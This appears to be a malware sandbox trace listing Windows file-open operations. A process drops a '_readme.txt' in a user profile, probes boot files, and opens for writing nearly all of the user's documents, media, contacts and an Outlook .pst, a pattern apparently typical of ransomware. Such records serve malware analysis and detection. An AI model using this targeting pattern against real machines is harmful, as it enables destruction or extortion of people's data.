Create C:\Users\5p5NrGJn0jS HALPmcxz\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\BOOTSECT.BAK desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG1 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG2 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BOOTSTAT.DAT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\memtest.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\cs-CZ\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\da-DK\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\de-DE\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\el-GR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\en-US\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\en-US\memtest.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\es-ES\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\fi-FI\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\chs_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\cht_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\jpn_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\kor_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\wgl4_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\fr-FR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\hu-HU\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\it-IT\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ja-JP\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ko-KR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\nb-NO\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\nl-NL\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pl-PL\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pt-BR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pt-PT\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ru-RU\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\sv-SE\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\tr-TR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-CN\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-HK\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-TW\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\NTUSER.DAT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\260cK27AaAW.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9HKDKJPWcbZp3.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\a3aopYTabt2PqX.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CnGwikB4ixpjleaou.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c_N92I4.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gAGIpgNn-ah_P.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\hBtij2XxjeIr.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iG6P2_66c9kPrLMe.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_Fs9J3.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Krb2lboJPMb.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nU7U5gg9puyk9 ks9j.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rrFPXj-iFL_y.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\we5v8X.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wkj-WJ_BWT6jKq0jb8L.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YN0nlMxLgsxDN89Wvw.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z1ijPRENeZM bVg.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\AFpOY4r3P4.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\aoCKhNvwPg7 G_EglTRd.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\KnsOJGoYLE.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\nasLdS_jK7TsrsDLk.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\O6M7.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xf1du7.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\BBd0_QQoq.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\MYpigepqn9YR5BOM.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\zRnyvk1zYM68.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gn8pgpO apgbtvLWe.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\wJHhfbHtkszmHxL4z.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Searches\Everywhere.search-ms desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Searches\Indexed Locations.search-ms desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\akc2Tx3.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\AkCMeTFe6MkALeUsdVH.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\D0d5R.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\qQZuqvR.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\yCpGa3HU4ZK.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\Im4nv.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XfvoPRf DQX9svVyoZ.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XnAaV.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\ILhT5zZ.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\pfRFKMTfN10.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\9fRp-4.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\wHKNWO5Q.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\fgxmTkEjRL27_o2q72fI.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\IBpqG xe.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\KNu0v4uNuDK.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\LqsXYT88UnYHPGG.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\_IRX.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\f8r--X3OSbeFEYiVN.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\R1kbSLdh_IvtktRmk7t.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\VFBl.odt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
